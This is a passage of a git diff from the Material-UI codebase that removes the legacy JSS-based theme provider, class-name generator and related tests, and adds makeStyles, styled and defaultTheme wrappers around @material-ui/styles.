-   * the queries made by the interface server-side.
-   * You can significantly speed up the traversal with this property.
-   */
-  disableStylesGeneration: PropTypes.bool,
-  /**
-   * @ignore
-   *
-   * In beta.
-   */
-  sheetsCache: PropTypes.object,
-  /**
-   * The sheetsManager is used to deduplicate style sheet injection in the page.
-   * It's deduplicating using the (theme, styles) couple.
-   * On the server, you should provide a new instance for each request.
-   */
-  sheetsManager: PropTypes.object,
-  /**
-   * A theme object.
-   */
-  theme: PropTypes.oneOfType([PropTypes.object, PropTypes.func]).isRequired,
-};
-
-if (process.env.NODE_ENV !== 'production') {
-  MuiThemeProviderOld.propTypes = exactProp(MuiThemeProviderOld.propTypes);
-}
-
-MuiThemeProviderOld.childContextTypes = {
-  ...themeListener.contextTypes,
-  muiThemeProviderOptions: PropTypes.object,
-};
-
-MuiThemeProviderOld.contextTypes = {
-  ...themeListener.contextTypes,
-  muiThemeProviderOptions: PropTypes.object,
-};
-
-if (!ponyfillGlobal.__MUI_STYLES__) {
-  ponyfillGlobal.__MUI_STYLES__ = {};
-}
-
-if (!ponyfillGlobal.__MUI_STYLES__.MuiThemeProvider) {
-  ponyfillGlobal.__MUI_STYLES__.MuiThemeProvider = MuiThemeProviderOld;
-}
-
-export default ponyfillGlobal.__MUI_STYLES__.MuiThemeProvider;
+export default ThemeProvider;
diff --git a/packages/material-ui/src/styles/MuiThemeProvider.test.js b/packages/material-ui/src/styles/MuiThemeProvider.test.js
deleted file mode 100644
index 3a4a996fba3a58..00000000000000
--- a/packages/material-ui/src/styles/MuiThemeProvider.test.js
+++ /dev/null
@@ -1,242 +0,0 @@
-import { spy } from 'sinon';
-import { assert } from 'chai';
-import React from 'react';
-import PropTypes from 'prop-types';
-import { SheetsRegistry } from 'jss';
-import { JssProvider } from 'react-jss';
-import ReactDOMServer from 'react-dom/server';
-import { createMount } from '@material-ui/core/test-utils';
-import createMuiTheme from './createMuiTheme';
-import Button from '../Button';
-import createGenerateClassName from './createGenerateClassName';
-import withTheme from './withTheme';
-import MuiThemeProvider from './MuiThemeProvider';
-
-function getThemeSpy() {
-  const themeSpy = spy();
-  const ThemeSpy = props => {
-    themeSpy(props.theme);
-    return props.children;
-  };
-
-  ThemeSpy.propTypes = {
-    children: PropTypes.node.isRequired,
-    theme: PropTypes.object,
-  };
-
-  return {
-    ThemeSpy: withTheme(ThemeSpy),
-    themeSpy,
-  };
-}
-
-function getOptionsSpy() {
-  const optionsSpy = spy();
-  const OptionsSpy = (props, context) => {
-    optionsSpy(context.muiThemeProviderOptions);
-    return props.children;
-  };
-
-  OptionsSpy.propTypes = {
-    children: PropTypes.element.isRequired,
-  };
-
-  OptionsSpy.contextTypes = {
-    muiThemeProviderOptions: PropTypes.object,
-  };
-
-  return {
-    OptionsSpy,
-    optionsSpy,
-  };
-}
-
-describe('<MuiThemeProvider />', () => {
-  let mount;
-
-  before(() => {
-    mount = createMount();
-  });
-
-  after(() => {
-    mount.cleanUp();
-  });
-
-  describe('server-side', () => {
-    // Only run the test on node.
-    if (!/jsdom/.test(window.navigator.userAgent)) {
-      return;
-    }
-
-    const theme = createMuiTheme();
-
-    function assertRendering(markup, sheetsRegistry) {
-      assert.notStrictEqual(markup.match('Hello World'), null);
-      assert.strictEqual(sheetsRegistry.registry.length, 2);
-      assert.strictEqual(sheetsRegistry.toString().length > 4000, true);
-      assert.strictEqual(sheetsRegistry.registry[0].classes.root, 'MuiButtonBase-root-18');
-      assert.deepEqual(
-        sheetsRegistry.registry[0].classes,
-        {
-          disabled: 'MuiButtonBase-disabled-19',
-          focusVisible: 'MuiButtonBase-focusVisible-20',
-          root: 'MuiButtonBase-root-18',
-        },
-        'the class names should be deterministic',
-      );
-      assert.strictEqual(sheetsRegistry.registry[1].classes.root, 'MuiButton-root-1');
-    }
-
-    it('should be able to extract the styles', () => {
-      const sheetsRegistry = new SheetsRegistry();
-      const generateClassName = createGenerateClassName();
-
-      const markup = ReactDOMServer.renderToString(
-        <JssProvider registry={sheetsRegistry} generateClassName={generateClassName}>
-          <MuiThemeProvider theme={theme} sheetsManager={new Map()}>
-            <Button>Hello World</Button>
-          </MuiThemeProvider>
-        </JssProvider>,
-      );
-
-      assertRendering(markup, sheetsRegistry);
-    });
-
-    it('should be able to cache the sheets between two requests', () => {
-      const generateClassName = createGenerateClassName();
-      const sheetsCache = new Map();
-
-      const sheetsRegistry1 = new SheetsRegistry();
-      const markup1 = ReactDOMServer.renderToString(
-        <JssProvider registry={sheetsRegistry1} generateClassName={generateClassName}>
-          <MuiThemeProvider theme={theme} sheetsManager={new Map()} sheetsCache={sheetsCache}>
-            <Button>Hello World</Button>
-          </MuiThemeProvider>
-        </JssProvider>,
-      );
-      assertRendering(markup1, sheetsRegistry1);
-
-      const sheetsRegistry2 = new SheetsRegistry();
-      const markup2 = ReactDOMServer.renderToString(
-        <JssProvider registry={sheetsRegistry2} generateClassName={generateClassName}>
-          <MuiThemeProvider theme={theme} sheetsManager={new Map()} sheetsCache={sheetsCache}>
-            <Button>Hello World</Button>
-          </MuiThemeProvider>
-        </JssProvider>,
-      );
-      assertRendering(markup2, sheetsRegistry2);
-    });
-  });
-
-  describe('mount', () => {
-    it('should work with nesting theme', () => {
-      const { themeSpy: themeSpy1, ThemeSpy: ThemeSpy1 } = getThemeSpy();
-      const { themeSpy: themeSpy2, ThemeSpy: ThemeSpy2 } = getThemeSpy();
-      const { themeSpy: themeSpy3, ThemeSpy: ThemeSpy3 } = getThemeSpy();
-
-      const theme1 = createMuiTheme({ status: { color: 'orange' } });
-      const theme2 = outerTheme => ({ ...outerTheme, status: { color: 'green' } });
-      const theme3 = createMuiTheme({ status: { color: 'yellow' } });
-
-      const wrapper = mount(
-        <MuiThemeProvider theme={theme1}>
-          <ThemeSpy1>
-            <MuiThemeProvider theme={theme2}>
-              <ThemeSpy2>
-                <span>Foo</span>
-              </ThemeSpy2>
-            </MuiThemeProvider>
-            <MuiThemeProvider theme={theme3}>
-              <ThemeSpy3>
-                <span>Bar</span>
-              </ThemeSpy3>
-            </MuiThemeProvider>
-          </ThemeSpy1>
-        </MuiThemeProvider>,
-      );
-
-      assert.strictEqual(themeSpy1.callCount, 1);
-      assert.strictEqual(themeSpy1.args[0][0].status.color, 'orange');
-      assert.strictEqual(themeSpy2.callCount, 1);
-      assert.strictEqual(themeSpy2.args[0][0].status.color, 'green');
-      assert.strictEqual(themeSpy3.callCount, 1);
-      assert.strictEqual(themeSpy3.args[0][0].status.color, 'yellow');
-
-      wrapper.setProps({ theme: createMuiTheme({ status: { color: 'blue' } }) });
-
-      assert.strictEqual(themeSpy1.callCount, 3);
-      assert.strictEqual(themeSpy1.args[2][0].status.color, 'blue');
-      assert.strictEqual(themeSpy2.callCount, 3);
-      assert.strictEqual(themeSpy2.args[2][0].status.color, 'green');
-      assert.strictEqual(themeSpy3.callCount, 3);
-      assert.strictEqual(themeSpy3.args[2][0].status.color, 'yellow');
-    });
-
-    it('should forward the parent options', () => {
-      const theme = createMuiTheme({ status: { color: 'orange' } });
-
-      const optionsSpy = spy();
-
-      function OptionsSpy(props, context) {
-        optionsSpy(context.muiThemeProviderOptions);
-        return <div />;
-      }
-
-      OptionsSpy.contextTypes = {
-        muiThemeProviderOptions: PropTypes.object.isRequired,
-      };
-
-      mount(
-        <MuiThemeProvider theme={theme} disableStylesGeneration>
-          <MuiThemeProvider theme={theme}>
-            <OptionsSpy />
-          </MuiThemeProvider>
-        </MuiThemeProvider>,
-      );
-      assert.strictEqual(optionsSpy.callCount, 1);
-      assert.deepEqual(optionsSpy.args[0][0], {
-        disableStylesGeneration: true,
-      });
-    });
-  });
-
-  describe('prop: disableStylesGeneration', () => {
-    it('should provide the property down the context', () => {
-      const { optionsSpy, OptionsSpy } = getOptionsSpy();
-
-      const theme = createMuiTheme();
-      const wrapper = mount(
-        <MuiThemeProvider theme={theme} disableStylesGeneration>
-          <OptionsSpy>
-            <div>Foo</div>
-          </OptionsSpy>
-        </MuiThemeProvider>,
-      );
-
-      assert.strictEqual(optionsSpy.callCount, 1);
-      assert.strictEqual(optionsSpy.args[0][0].disableStylesGeneration, true);
-
-      wrapper.setProps({ disableStylesGeneration: false });
-      assert.strictEqual(optionsSpy.args[1][0].disableStylesGeneration, false);
-    });
-  });
-
-  describe('prop: sheetsCache', () => {
-    it('should provide the property down the context', () => {
-      const { optionsSpy, OptionsSpy } = getOptionsSpy();
-
-      const theme = createMuiTheme();
-      const sheetsCache = new Map();
-      mount(
-        <MuiThemeProvider theme={theme} sheetsCache={sheetsCache}>
-          <OptionsSpy>
-            <div>Foo</div>
-          </OptionsSpy>
-        </MuiThemeProvider>,
-      );
-
-      assert.strictEqual(optionsSpy.callCount, 1);
-      assert.strictEqual(optionsSpy.args[0][0].sheetsCache, sheetsCache);
-    });
-  });
-});
diff --git a/packages/material-ui/src/styles/createGenerateClassName.d.ts b/packages/material-ui/src/styles/createGenerateClassName.d.ts
deleted file mode 100644
index 48edb02db4a5e6..00000000000000
--- a/packages/material-ui/src/styles/createGenerateClassName.d.ts
+++ /dev/null
@@ -1,11 +0,0 @@
-import { GenerateClassName } from 'jss';
-
-export interface GenerateClassNameOptions {
-  dangerouslyUseGlobalCSS?: boolean;
-  productionPrefix?: string;
-  seed?: string;
-}
-
-export default function createGenerateClassName(
-  options?: GenerateClassNameOptions,
-): GenerateClassName;
diff --git a/packages/material-ui/src/styles/createGenerateClassName.js b/packages/material-ui/src/styles/createGenerateClassName.js
deleted file mode 100644
index 56432917e42102..00000000000000
--- a/packages/material-ui/src/styles/createGenerateClassName.js
+++ /dev/null
@@ -1,47 +0,0 @@
-import warning from 'warning';
-
-const escapeRegex = /([[\].#*$><+~=|^:(),"'`\s])/g;
-
-function safePrefix(classNamePrefix) {
-  const prefix = String(classNamePrefix);
-  warning(prefix.length < 256, `Material-UI: the class name prefix is too long: ${prefix}.`);
-  // Sanitize the string as will be used to prefix the generated class name.
-  return prefix.replace(escapeRegex, '-');
-}
-
-// Returns a function which generates unique class names based on counters.
-// When new generator function is created, rule counter is reset.
-// We need to reset the rule counter for SSR for each request.
-//
-// It's inspired by
-// https://github.com/cssinjs/jss/blob/4e6a05dd3f7b6572fdd3ab216861d9e446c20331/src/utils/createGenerateClassName.js
-export default function createGenerateClassName(options = {}) {
-  const { dangerouslyUseGlobalCSS = false, productionPrefix = 'jss', seed = '' } = options;
-  let ruleCounter = 0;
-
-  return (rule, styleSheet) => {
-    ruleCounter += 1;
-    warning(
-      ruleCounter < 1e10,
-      [
-        'Material-UI: you might have a memory leak.',
-        'The ruleCounter is not supposed to grow that much.',
-      ].join(''),
-    );
-
-    if (dangerouslyUseGlobalCSS && styleSheet && styleSheet.options.name) {
-      return `${safePrefix(styleSheet.options.name)}-${rule.key}`;
-    }
-
-    if (process.env.NODE_ENV === 'production') {
-      return `${productionPrefix}${seed}${ruleCounter}`;
-    }
-
-    // Help with debuggability.
-    if (styleSheet && styleSheet.options.classNamePrefix) {
-      return `${safePrefix(styleSheet.options.classNamePrefix)}-${rule.key}-${seed}${ruleCounter}`;
-    }
-
-    return `${rule.key}-${seed}${ruleCounter}`;
-  };
-}
diff --git a/packages/material-ui/src/styles/createGenerateClassName.test.js b/packages/material-ui/src/styles/createGenerateClassName.test.js
deleted file mode 100644
index 51a3eeb31f8087..00000000000000
--- a/packages/material-ui/src/styles/createGenerateClassName.test.js
+++ /dev/null
@@ -1,156 +0,0 @@
-import { assert } from 'chai';
-import consoleErrorMock from 'test/utils/consoleErrorMock';
-import createGenerateClassName from './createGenerateClassName';
-
-describe('createGenerateClassName', () => {
-  describe('counter', () => {
-    it('should increment a scoped counter', () => {
-      const rule = { key: 'root' };
-      const generateClassName1 = createGenerateClassName();
-      assert.strictEqual(generateClassName1(rule), 'root-1');
-      assert.strictEqual(generateClassName1(rule), 'root-2');
-      const generateClassName2 = createGenerateClassName();
-      assert.strictEqual(generateClassName2(rule), 'root-1');
-    });
-  });
-
-  it('should escape parenthesis', () => {
-    const generateClassName = createGenerateClassName();
-    assert.strictEqual(
-      generateClassName(
-        { key: 'root' },
-        {
-          options: {
-            classNamePrefix: 'pure(MuiButton)',
-            jss: {},
-          },
-        },
-      ),
-      'pure-MuiButton--root-1',
-    );
-  });
-
-  it('should escape spaces', () => {
-    const generateClassName = createGenerateClassName();
-    assert.strictEqual(
-      generateClassName(
-        { key: 'root' },
-        {
-          options: {
-            classNamePrefix: 'foo bar',
-            jss: {},
-          },
-        },
-      ),
-      'foo-bar-root-1',
-    );
-  });
-
-  describe('options: dangerouslyUseGlobalCSS', () => {
-    it('should use a global class name', () => {
-      const generateClassName = createGenerateClassName({
-        dangerouslyUseGlobalCSS: true,
-      });
-      assert.strictEqual(
-        generateClassName(
-          {
-            key: 'root',
-          },
-          {
-            options: {
-              name: 'Button',
-              classNamePrefix: 'Button2',
-              jss: {},
-            },
-          },
-        ),
-        'Button-root',
-      );
-      assert.strictEqual(
-        generateClassName(
-          {
-            key: 'root',
-          },
-          {
-            options: {
-              classNamePrefix: 'Button',
-              jss: {},
-            },
-          },
-        ),
-        'Button-root-2',
-      );
-    });
-
-    it('should default to a non deterministic name', () => {
-      const generateClassName = createGenerateClassName({
-        dangerouslyUseGlobalCSS: true,
-      });
-      assert.strictEqual(
-        generateClassName({
-          key: 'root',
-        }),
-        'root-1',
-      );
-    });
-  });
-
-  describe('formatting', () => {
-    it('should take the sheet meta in development if available', () => {
-      const rule = { key: 'root' };
-      const styleSheet = { options: { classNamePrefix: 'Button' } };
-      const generateClassName = createGenerateClassName();
-      assert.strictEqual(generateClassName(rule, styleSheet), 'Button-root-1');
-    });
-
-    it('should use a base 10 representation', () => {
-      const rule = { key: 'root' };
-      const generateClassName = createGenerateClassName();
-      assert.strictEqual(generateClassName(rule), 'root-1');
-      assert.strictEqual(generateClassName(rule), 'root-2');
-      assert.strictEqual(generateClassName(rule), 'root-3');
-      assert.strictEqual(generateClassName(rule), 'root-4');
-      assert.strictEqual(generateClassName(rule), 'root-5');
-      assert.strictEqual(generateClassName(rule), 'root-6');
-      assert.strictEqual(generateClassName(rule), 'root-7');
-      assert.strictEqual(generateClassName(rule), 'root-8');
-      assert.strictEqual(generateClassName(rule), 'root-9');
-      assert.strictEqual(generateClassName(rule), 'root-10');
-    });
-
-    describe('production', () => {
-      // Only run the test on node.
-      if (!/jsdom/.test(window.navigator.userAgent)) {
-        return;
-      }
-
-      let nodeEnv;
-      const env = process.env;
-
-      before(() => {
-        nodeEnv = env.NODE_ENV;
-        env.NODE_ENV = 'production';
-        consoleErrorMock.spy();
-      });
-
-      after(() => {
-        env.NODE_ENV = nodeEnv;
-        consoleErrorMock.reset();
-      });
-
-      it('should output a short representation', () => {
-        const rule = { key: 'root' };
-        const generateClassName = createGenerateClassName();
-        assert.strictEqual(generateClassName(rule), 'jss1');
-      });
-
-      it('should work with global CSS', () => {
-        const rule = { key: 'root' };
-        const generateClassName = createGenerateClassName({
-          dangerouslyUseGlobalCSS: true,
-        });
-        assert.strictEqual(generateClassName(rule), 'jss1');
-      });
-    });
-  });
-});
diff --git a/packages/material-ui/src/styles/createStyles.js b/packages/material-ui/src/styles/createStyles.js
index a8ed89c964397d..db3ed04dd490a6 100644
--- a/packages/material-ui/src/styles/createStyles.js
+++ b/packages/material-ui/src/styles/createStyles.js
@@ -1,3 +1,17 @@
+// import warning from 'warning';
+import { createStyles as createStylesOriginal } from '@material-ui/styles';
+
+// let warnOnce = false;
+
+// To remove in v5
 export default function createStyles(styles) {
-  return styles;
+  // warning(
+  //   warnOnce,
+  //   [
+  //     'Material-UI: @material-ui/core/styles/createStyles is deprecated.',
+  //     'Please use @material-ui/styles/createStyles',
+  //   ].join('\n'),
+  // );
+  // warnOnce = true;
+  return createStylesOriginal(styles);
 }
diff --git a/packages/material-ui/src/styles/createStyles.test.js b/packages/material-ui/src/styles/createStyles.test.js
deleted file mode 100644
index 80dda68d07bdde..00000000000000
--- a/packages/material-ui/src/styles/createStyles.test.js
+++ /dev/null
@@ -1,9 +0,0 @@
-import { assert } from 'chai';
-import createStyles from './createStyles';
-
-describe('createStyles', () => {
-  it('is the identity function', () => {
-    const styles = {};
-    assert.strictEqual(createStyles(styles), styles);
-  });
-});
diff --git a/packages/material-ui/src/styles/defaultTheme.js b/packages/material-ui/src/styles/defaultTheme.js
new file mode 100644
index 00000000000000..198dddc1f98a1b
--- /dev/null
+++ b/packages/material-ui/src/styles/defaultTheme.js
@@ -0,0 +1,5 @@
+import createMuiTheme from './createMuiTheme';
+
+const defaultTheme = createMuiTheme();
+
+export default defaultTheme;
diff --git a/packages/material-ui/src/styles/getStylesCreator.js b/packages/material-ui/src/styles/getStylesCreator.js
deleted file mode 100644
index 710f526750aec1..00000000000000
--- a/packages/material-ui/src/styles/getStylesCreator.js
+++ /dev/null
@@ -1,53 +0,0 @@
-import warning from 'warning';
-import deepmerge from 'deepmerge'; // < 1kb payload overhead when lodash/merge is > 3kb.
-
-// Support for the jss-expand plugin.
-function arrayMerge(destination, source) {
-  return source;
-}
-
-function getStylesCreator(stylesOrCreator) {
-  const themingEnabled = typeof stylesOrCreator === 'function';
-
-  warning(
-    typeof stylesOrCreator === 'object' || themingEnabled,
-    [
-      'Material-UI: the first argument provided to withStyles() is invalid.',
-      'You need to provide a function generating the styles or a styles object.',
-    ].join('\n'),
-  );
-
-  function create(theme, name) {
-    const styles = themingEnabled ? stylesOrCreator(theme) : stylesOrCreator;
-
-    if (!name || !theme.overrides || !theme.overrides[name]) {
-      return styles;
-    }
-
-    const overrides = theme.overrides[name];
-    const stylesWithOverrides = { ...styles };
-
-    Object.keys(overrides).forEach(key => {
-      warning(
-        stylesWithOverrides[key],
-        [
-          'Material-UI: you are trying to override a style that does not exist.',
-          `Fix the \`${key}\` key of \`theme.overrides.${name}\`.`,
-        ].join('\n'),
-      );
-      stylesWithOverrides[key] = deepmerge(stylesWithOverrides[key], overrides[key], {
-        arrayMerge,
-      });
-    });
-
-    return stylesWithOverrides;
-  }
-
-  return {
-    create,
-    options: {},
-    themingEnabled,
-  };
-}
-
-export default getStylesCreator;
diff --git a/packages/material-ui/src/styles/getStylesCreator.test.js b/packages/material-ui/src/styles/getStylesCreator.test.js
deleted file mode 100644
index 7ec2b772766384..00000000000000
--- a/packages/material-ui/src/styles/getStylesCreator.test.js
+++ /dev/null
@@ -1,99 +0,0 @@
-import { assert } from 'chai';
-import consoleErrorMock from 'test/utils/consoleErrorMock';
-import getStylesCreator from './getStylesCreator';
-
-describe('getStylesCreator', () => {
-  const name = 'name';
-  const stylesCreator = getStylesCreator({
-    root: {
-      color: 'black',
-      '&:hover': {
-        color: 'red',
-        borderRadius: 0,
-      },
-    },
-  });
-
-  it('should be able to get the styles', () => {
-    const styles = stylesCreator.create({});
-    assert.deepEqual(styles, {
-      root: {
-        color: 'black',
-        '&:hover': {
-          color: 'red',
-          borderRadius: 0,
-        },
-      },
-    });
-  });
-
-  describe('overrides', () => {
-    before(() => {
-      consoleErrorMock.spy();
-    });
-
-    after(() => {
-      consoleErrorMock.reset();
-    });
-
-    it('should be able to overrides some rules, deep', () => {
-      const theme = {
-        overrides: {
-          [name]: {
-            root: { color: 'white', '&:hover': { borderRadius: 2, backgroundColor: 'black' } },
-          },
-        },
-      };
-      const styles = stylesCreator.create(theme, name);
-      assert.deepEqual(styles, {
-        root: {
-          color: 'white',
-          '&:hover': {
-            color: 'red',
-            borderRadius: 2,
-            backgroundColor: 'black',
-          },
-        },
-      });
-    });
-
-    it('should warn on wrong usage', () => {
-      const theme = {
-        overrides: {
-          [name]: {
-            bubu: {
-              color: 'white',
-            },
-          },
-        },
-      };
-      stylesCreator.create(theme, name);
-      assert.strictEqual(consoleErrorMock.callCount(), 1);
-      assert.match(consoleErrorMock.args()[0][0], /Fix the `bubu` key of `theme\.overrides\.name`/);
-    });
-
-    it('should support jss-expand', () => {
-      const stylesCreator2 = getStylesCreator({
-        root: {
-          padding: [8, 16],
-        },
-      });
-
-      const theme = {
-        overrides: {
-          [name]: {
-            root: {
-              padding: [20, 10],
-            },
-          },
-        },
-      };
-      const styles = stylesCreator2.create(theme, name);
-      assert.deepEqual(styles, {
-        root: {
-          padding: [20, 10],
-        },
-      });
-    });
-  });
-});
diff --git a/packages/material-ui/src/styles/index.d.ts b/packages/material-ui/src/styles/index.d.ts
index 9e9de75d02f0cd..4561c8aa941669 100644
--- a/packages/material-ui/src/styles/index.d.ts
+++ b/packages/material-ui/src/styles/index.d.ts
@@ -1,7 +1,4 @@
-export { default as createGenerateClassName } from './createGenerateClassName';
 export { default as createMuiTheme, Theme, Direction } from './createMuiTheme';
-export { default as jssPreset } from './jssPreset';
-export { default as MuiThemeProvider } from './MuiThemeProvider';
 export { default as createStyles } from './createStyles';
 export {
   default as withStyles,
diff --git a/packages/material-ui/src/styles/index.js b/packages/material-ui/src/styles/index.js
index 4f795f608250dd..8205c616165f41 100644
--- a/packages/material-ui/src/styles/index.js
+++ b/packages/material-ui/src/styles/index.js
@@ -1,7 +1,7 @@
-export { default as createGenerateClassName } from './createGenerateClassName';
 export { default as createMuiTheme } from './createMuiTheme';
-export { default as jssPreset } from './jssPreset';
-export { default as MuiThemeProvider } from './MuiThemeProvider';
 export { default as createStyles } from './createStyles';
+export { default as makeStyles } from './makeStyles';
+export { default as MuiThemeProvider } from './MuiThemeProvider';
+export { default as styled } from './styled';
 export { default as withStyles } from './withStyles';
 export { default as withTheme } from './withTheme';
diff --git a/packages/material-ui/src/styles/jssPreset.d.ts b/packages/material-ui/src/styles/jssPreset.d.ts
deleted file mode 100644
index c51cc501895d4e..00000000000000
--- a/packages/material-ui/src/styles/jssPreset.d.ts
+++ /dev/null
@@ -1,3 +0,0 @@
-import { JSSOptions } from 'jss';
-
-export default function jssPreset(): JSSOptions;
diff --git a/packages/material-ui/src/styles/jssPreset.js b/packages/material-ui/src/styles/jssPreset.js
deleted file mode 100644
index 4ad5d2f2bbd8b9..00000000000000
--- a/packages/material-ui/src/styles/jssPreset.js
+++ /dev/null
@@ -1,25 +0,0 @@
-import jssGlobal from 'jss-global';
-import jssNested from 'jss-nested';
-import jssCamelCase from 'jss-camel-case';
-import jssDefaultUnit from 'jss-default-unit';
-import jssVendorPrefixer from 'jss-vendor-prefixer';
-import jssPropsSort from 'jss-props-sort';
-
-// Subset of jss-preset-default with only the plugins the Material-UI components are using.
-function jssPreset() {
-  return {
-    plugins: [
-      jssGlobal(),
-      jssNested(),
-      jssCamelCase(),
-      jssDefaultUnit(),
-      // Disable the vendor prefixer server-side, it does nothing.
-      // This way, we can get a performance boost.
-      // In the documentation, we are using `autoprefixer` to solve this problem.
-      typeof window === 'undefined' ? null : jssVendorPrefixer(),
-      jssPropsSort(),
-    ],
-  };
-}
-
-export default jssPreset;
diff --git a/packages/material-ui/src/styles/makeStyles.js b/packages/material-ui/src/styles/makeStyles.js
new file mode 100644
index 00000000000000..e59113867ecf05
--- /dev/null
+++ b/packages/material-ui/src/styles/makeStyles.js
@@ -0,0 +1,11 @@
+import { makeStyles as makeStylesWithoutDefault } from '@material-ui/styles';
+import defaultTheme from './defaultTheme';
+
+function makeStyles(stylesOrCreator, options = {}) {
+  return makeStylesWithoutDefault(stylesOrCreator, {
+    defaultTheme,
+    ...options,
+  });
+}
+
+export default makeStyles;
diff --git a/packages/material-ui/src/styles/mergeClasses.js b/packages/material-ui/src/styles/mergeClasses.js
deleted file mode 100644
index 94527251825c0b..00000000000000
--- a/packages/material-ui/src/styles/mergeClasses.js
+++ /dev/null
@@ -1,53 +0,0 @@
-import warning from 'warning';
-import { getDisplayName } from '@material-ui/utils';
-
-function mergeClasses(options = {}) {
-  const { baseClasses, newClasses, Component } = options;
-
-  if (!newClasses) {
-    return baseClasses;
-  }
-
-  const nextClasses = { ...baseClasses };
-
-  if (process.env.NODE_ENV !== 'production' && typeof newClasses === 'string') {
-    warning(
-      false,
-      [
-        `Material-UI: the value \`${newClasses}\` ` +
-          `provided to the classes property of ${getDisplayName(Component)} is incorrect.`,
-        'You might want to use the className property instead.',
-      ].join('\n'),
-    );
-
-    return baseClasses;
-  }
-
-  Object.keys(newClasses).forEach(key => {
-    warning(
-      baseClasses[key] || !newClasses[key],
-      [
-        `Material-UI: the key \`${key}\` ` +
-          `provided to the classes property is not implemented in ${getDisplayName(Component)}.`,
-        `You can only override one of the following: ${Object.keys(baseClasses).join(',')}.`,
-      ].join('\n'),
-    );
-
-    warning(
-      !newClasses[key] || typeof newClasses[key] === 'string',
-      [
-        `Material-UI: the key \`${key}\` ` +
-          `provided to the classes property is not valid for ${getDisplayName(Component)}.`,
-        `You need to provide a non empty string instead of: ${newClasses[key]}.`,
-      ].join('\n'),
-    );
-
-    if (newClasses[key]) {
-      nextClasses[key] = `${baseClasses[key]} ${newClasses[key]}`;
-    }
-  });
-
-  return nextClasses;
-}
-
-export default mergeClasses;
diff --git a/packages/material-ui/src/styles/multiKeyStore.js b/packages/material-ui/src/styles/multiKeyStore.js
deleted file mode 100644
index fde38e10a150bd..00000000000000
--- a/packages/material-ui/src/styles/multiKeyStore.js
+++ /dev/null
@@ -1,24 +0,0 @@
-// Used https://github.com/thinkloop/multi-key-cache as inspiration
-
-const multiKeyStore = {
-  set: (cache, key1, key2, value) => {
-    let subCache = cache.get(key1);
-
-    if (!subCache) {
-      subCache = new Map();
-      cache.set(key1, subCache);
-    }
-
-    subCache.set(key2, value);
-  },
-  get: (cache, key1, key2) => {
-    const subCache = cache.get(key1);
-    return subCache ? subCache.get(key2) : undefined;
-  },
-  delete: (cache, key1, key2) => {
-    const subCache = cache.get(key1);
-    subCache.delete(key2);
-  },
-};
-
-export default multiKeyStore;
diff --git a/packages/material-ui/src/styles/reactJssContext.js b/packages/material-ui/src/styles/reactJssContext.js
deleted file mode 100644
index d4dcca6ec7227a..00000000000000
--- a/packages/material-ui/src/styles/reactJssContext.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// Share the same values than in
-// https://github.com/cssinjs/jss/blob/master/packages/react-jss/src/ns.js
-const ns = {
-  jss: '64a55d578f856d258dc345b094a2a2b3',
-  sheetsRegistry: 'd4bd0baacbc52bbd48bbb9eb24344ecd',
-  sheetOptions: '6fc570d6bd61383819d0f9e7407c452d',
-};
-
-export default ns;
diff --git a/packages/material-ui/src/styles/styled.js b/packages/material-ui/src/styles/styled.js
new file mode 100644
index 00000000000000..5f16549bdbf8bf
--- /dev/null
+++ b/packages/material-ui/src/styles/styled.js
@@ -0,0 +1,14 @@
+import { styled as styledWithoutDefault } from '@material-ui/styles';
+import defaultTheme from './defaultTheme';
+
+const styled = Component => {
+  const componentCreator = styledWithoutDefault(Component);
+
+  return (style, options) =>
+    componentCreator(style, {
+      defaultTheme,
+      ...options,
+    });
+};
+
+export default styled;
diff --git a/packages/material-ui/src/styles/themeListener.d.ts b/packages/material-ui/src/styles/themeListener.d.ts
deleted file mode 100644
index 7b3e30768c24f4..00000000000000
--- a/packages/material-ui/src/styles/themeListener.d.ts
+++ /dev/null
@@ -1,21 +0,0 @@
-// This is using the API from https://github.com/vesparny/brcast
-interface Broadcast<S> {
-  setState(state: S): void;
-  getState(): S;
-  subscribe(callback: (state: S) => void): number;
-  unsubscribe(subscriptionId: number): void;
-}
-
-interface MuiContext<S> {
-  __THEMING__?: Broadcast<S>;
-}
-
-export interface ThemeListener<S = {}> {
-  initial(context: MuiContext<S>): S | null;
-  subscribe(context: MuiContext<S>, callback: (state: S) => void): number | null;
-  unsubscribe(context: MuiContext<S>, subscriptionId: number): void;
-}
-
-declare const themeListener: ThemeListener;
-
-export default themeListener;
diff --git a/packages/material-ui/src/styles/themeListener.js b/packages/material-ui/src/styles/themeListener.js
deleted file mode 100644
index 22b8ed5ba15240..00000000000000
--- a/packages/material-ui/src/styles/themeListener.js
+++ /dev/null
@@ -1,29 +0,0 @@
-// Same value used by react-jss
-export const CHANNEL = '__THEMING__';
-
-const themeListener = {
-  contextTypes: {
-    [CHANNEL]: () => {},
-  },
-  initial: context => {
-    if (!context[CHANNEL]) {
-      return null;
-    }
-
-    return context[CHANNEL].getState();
-  },
-  subscribe: (context, cb) => {
-    if (!context[CHANNEL]) {
-      return null;
-    }
-
-    return context[CHANNEL].subscribe(cb);
-  },
-  unsubscribe: (context, subscriptionId) => {
-    if (context[CHANNEL]) {
-      context[CHANNEL].unsubscribe(subscriptionId);
-    }
-  },
-};
-
-export default themeListener;
diff --git a/packages/material-ui/src/styles/themeListener.test.js b/packages/material-ui/src/styles/themeListener.test.js
deleted file mode 100644
index eac35d078641c9..00000000000000
--- a/packages/material-ui/src/styles/themeListener.test.js
+++ /dev/null
@@ -1,36 +0,0 @@
-import { assert } from 'chai';
-import createBroadcast from 'brcast';
-import themeListener, { CHANNEL } from './themeListener';
-
-describe('themeListener', () => {
-  it('should be able to get the initial state', () => {
-    const broadcast = createBroadcast();
-    const initialState = {};
-    broadcast.setState(initialState);
-
-    assert.strictEqual(themeListener.initial({ [CHANNEL]: broadcast }), initialState);
-  });
-
-  it('should not complain if the context is not defined', () => {
-    assert.strictEqual(themeListener.initial({}), null);
-  });
-
-  it('should be able to subscribe to the event stream', done => {
-    const broadcast = createBroadcast();
-    const initialState = {};
-    const secondState = {};
-    broadcast.setState(initialState);
-
-    themeListener.subscribe(
-      {
-        [CHANNEL]: broadcast,
-      },
-      state => {
-        assert.strictEqual(state, secondState);
-        done();
-      },
-    );
-
-    broadcast.setState(secondState);
-  });
-});
diff --git a/packages/material-ui/src/styles/useTheme.js b/packages/material-ui/src/styles/useTheme.js
new file mode 100644
index 00000000000000..5945620ff61538
--- /dev/null
+++ b/packages/material-ui/src/styles/useTheme.js
@@ -0,0 +1,6 @@
